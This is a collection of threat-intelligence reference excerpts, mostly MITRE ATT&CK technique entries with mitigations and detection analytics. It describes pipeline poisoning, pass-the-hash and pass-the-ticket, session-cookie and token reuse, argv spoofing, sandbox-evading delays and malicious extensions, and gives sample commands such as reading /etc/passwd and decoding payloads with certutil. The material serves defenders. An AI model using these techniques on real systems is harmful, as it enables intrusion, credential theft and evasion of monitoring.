open-source IronPython implementation of Python with a.NET injector to drop one or more payloads including ComRA.\n- DropBook (malware): DropBook is a Python-based backdoor compiled with PyInstaller.\n- VIRTUALPIE (malware): VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell ca.\n- PUNCHBUGGY (malware): PUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry.\n- APT37 (intrusion-set): APT37 is a North Korean state-sponsored cyber espionage group that has been active since at least 2012.\n- CanisterWorm (malware): CanisterWorm is a self-propagating malware that has been used by TeamPCP in credential harvesting and software supply chain campaigns since at least 2026.\n- Salesforce Data Exfiltration (campaign): The Salesforce Data Exfiltration campaign began in October 2024 with financially-motivated threat actor UNC6040 using Spearphishing Voice (vishing) to compromise corporate Salesfor.\n- BRONZE BUTLER (intrusion-set): BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008.\n- TeamPCP Cloud Stealer (malware): The TeamPCP Cloud Stealer is a comprehensive filesystem credential stealer that can harvest, encrypt, and exfiltrate credentials from over 50 sensitive file paths across CI/CD, clo.\n- Donut (tool): Donut is an open source framework used to generate position-independent shellcode.\n- TeamPCP (intrusion-set): TeamPCP is a financially-motivated, cloud-native threat group that has been active since at least September 2025.\n- Lizar (malware): Lizar is a modular remote access tool written using the.NET Framework that shares structural similarities to Carbanak.

Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.\n\nService or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.\n\nCloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.

The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.\n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`.

By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.\n\nSignal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.\n\nAdversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices.\nUpon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.\n\n**Classification.** - Tactics: collection, persistence\n- Platforms: Android, iOS\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Linked Devices**\n - For Android, detect Linked Devices by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed. […]\n\n## Reference: ATT&CK T1677 Poisoned Pipeline Execution\n**ATT&CK T1677 Poisoned Pipeline Execution (full record).** Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines:\n\n* In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\n\n**Classification.** - Tactics: execution\n- Platforms: SaaS\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.\n\nAdversaries may utilize programmatic `sleep` commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as `ping`, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments. Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n\n**Detection strategies and analytics.** - **Multi-Platform Detection Strategy for T1678 - Delay Execution**\n - Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.

Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.\n\nAdversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.\n\nExclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Detection strategies and analytics.** - **Detection of Selective Exclusion**\n - A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems.

This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Behavioral Detection of CLI Abuse on Network Devices**\n - Detects unauthorized or anomalous use of command-line interfaces (CLI) on network devices.

If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.\n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc//cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges.\n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc//cmdline` and displayed by tools like `ps`.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as `ShellExecuteW` to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.

Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1550.004 Web Session Cookie: Adversaries can use stolen session cookies to authenticate to web applications and services.\n- T1550.001 Application Access Token: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.\n- T1550.003 Pass the Ticket: Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls.\n- T1550.002 Pass the Hash: Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. […]\n\n## Reference: ATT&CK T1550.001 Application Access Token\n**ATT&CK T1550.001 Application Access Token (full record).** Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. […]\n\n## Reference: ATT&CK T1550.002 Pass the Hash\n**ATT&CK T1550.002 Pass the Hash (full record).** Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **User Account Control**: User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. […]\n\n## Reference: ATT&CK T1550.003 Pass the Ticket\n**ATT&CK T1550.003 Pass the Ticket (full record).** Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: IaaS, Office Suite, SaaS\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as `net localgroup` of the Net utility, `dscl. -list /Groups` on macOS, and `groups` on Linux can list local groups.\n\n## Reference: ATT&CK T1074.002 Remote Data Staging\n**ATT&CK T1074.002 Remote Data Staging (full record).** Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.\n\n**Classification.** - Tactics: collection\n- Platforms: ESXi, IaaS, Linux, macOS, Windows\n- Sub-technique of: T1074 Data Staged - Adversaries may stage collected data in a central location or directory prior to Exfiltration.

Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\n\n**Classification.** - Tactics: stealth, persistence, privilege-escalation, initial-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1078.004 Cloud Accounts: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\n- T1078.002 Domain Accounts: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\n- T1078.003 Local Accounts: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows `copy /b` or `type` command to reassemble binary fragments into a malicious payload.\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Detection strategies and analytics.** - **Detect Adversary Deobfuscation or Decoding of Files and Payloads**\n - An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats.

[…]\n\n## Reference: ATT&CK T1176 Software Extensions\n**ATT&CK T1176 Software Extensions (full record).** Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.\n\nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls.\n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.\n\n**Classification.** - Tactics: persistence\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1176.002 IDE Extensions: Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.\n- T1176.001 Browser Extensions: Adversaries may abuse internet browser extensions to establish persistent access to victim systems.\n\n**Mitigations.** - **Limit Software Installation**: Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. […]\n\n## Reference: ATT&CK T1176.001 Browser Extensions\n**ATT&CK T1176.001 Browser Extensions (full record).** Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the `profiles` tool to install malicious `.mobileconfig` files. In macOS 11+, the use of the `profiles` tool can no longer install configuration profiles; however, `.mobileconfig` files can be planted and installed with user interaction.\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Stealth. […]\n\n## Reference: ATT&CK T1176.002 IDE Extensions\n**ATT&CK T1176.002 IDE Extensions (full record).** Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE.\n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., IDE Tunneling).\n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.\n\n**Classification.** - Tactics: persistence\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1176 Software Extensions - Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment.

Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:\n- **Remote Data Storage**: Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n## Detection strategies and analytics\n- **Behavioral Detection of Indicator Removal Across Platforms**\n - Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.

The intent is to simplify monitoring and alerting such that, assuming developers trap errors and log them using this vocabulary, monitoring and alerting would be improved by simply keying on these terms.\n\n**Overview.** Each year IBM Security commissions the Ponemon Institute to survey companies around the world for information related to security breaches, mitigation, and the associated costs; the result is called the Cost of a Data Breach Report.\n\nIn addition to the millions of dollars lost due to breaches the report finds that the **mean time to identify** a breach continues to hover around **200 days**. Clearly our ability to monitor applications and alert on anomalous behavior would improve our time to identify and mitigate an attack against our applications.\n\n!IBM Cost of Data Breach Report 2025\n\n> IBM Cost of a Data Breach Report 2025, Fig.4, pg.12\n\nThis logging standard would seek to define specific keywords which, when applied consistently across software, would allow groups to simply monitor for these events terms across all applications and respond quickly in the event of attack.\n\n**Assumptions.** - Observability/SRE groups must support the use of this standard and encourage developers to use it - Incident Response must either ingest this data OR provide a means by which other monitoring teams can send a notification of alert, preferably programmatically. - Architects must support, adopt, and contribute to this standard - Developers must embrace this standard and begin to implement (requires knowledge and intent to understand potential attacks and trap those errors in code).\n\n**Getting Started.** As a reminder, the goal of logging is to be able to alert on specific security events. Of course, the first step to logging these events is good error handling, if you're not trapping the events, you don't have an event to log.\n\n**Identifying Events.** In order to better understand security event logging a good high-level understanding of threat modeling would be helpful, even if it's a simple approach of:\n\n1. **What could go wrong?**\n\n- Orders: could someone order on behalf of another? - Authentication: could I log in as someone else?

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records. DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\n## Reference: ATT&CK AN0751 Analytic 0751\n**ATT&CK AN0751 Analytic 0751 (full record).** SSH session from new source IP followed by interactive shell or privilege escalation (e.g., sudo, su) and outbound lateral connection.\n\n**Telemetry.** - linux:syslog (channel sshd: Accepted password/publickey)\n- auditd:SYSCALL (channel execve, USER_CMD)\n\n## Reference: ATT&CK AN0752 Analytic 0752\n**ATT&CK AN0752 Analytic 0752 (full record).** Remote login via ARD or SSH followed by screensharingd process activity or modification of TCC-protected files.\n\n**Telemetry.** - macos:unifiedlog (channel eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate')\n- macos:osquery (channel process_events)\n\n## Reference: ATT&CK AN0753 Analytic 0753\n**ATT&CK AN0753 Analytic 0753 (full record).** Use of cloud-based bastion or VM console session followed by commands that initiate outbound SSH or RDP sessions from the cloud instance to other environments.\n\n**Telemetry.** - AWS:CloudTrail (channel AWS ConsoleLogin, StartSession)\n- AWS:VPCFlowLogs (channel Outbound connections to port 22, 3389)\n\n## Reference: ATT&CK AN0754 Analytic 0754\n**ATT&CK AN0754 Analytic 0754 (full record).** vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.\n\n**Telemetry.** - esxi:vmkernel (channel vim.fault.*, DCUI login, SSH shell)\n- esxi:shell (channel Command execution trace)\n\n## Reference: ATT&CK AN0755 Analytic 0755\n**ATT&CK AN0755 Analytic 0755 (full record).** Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs.

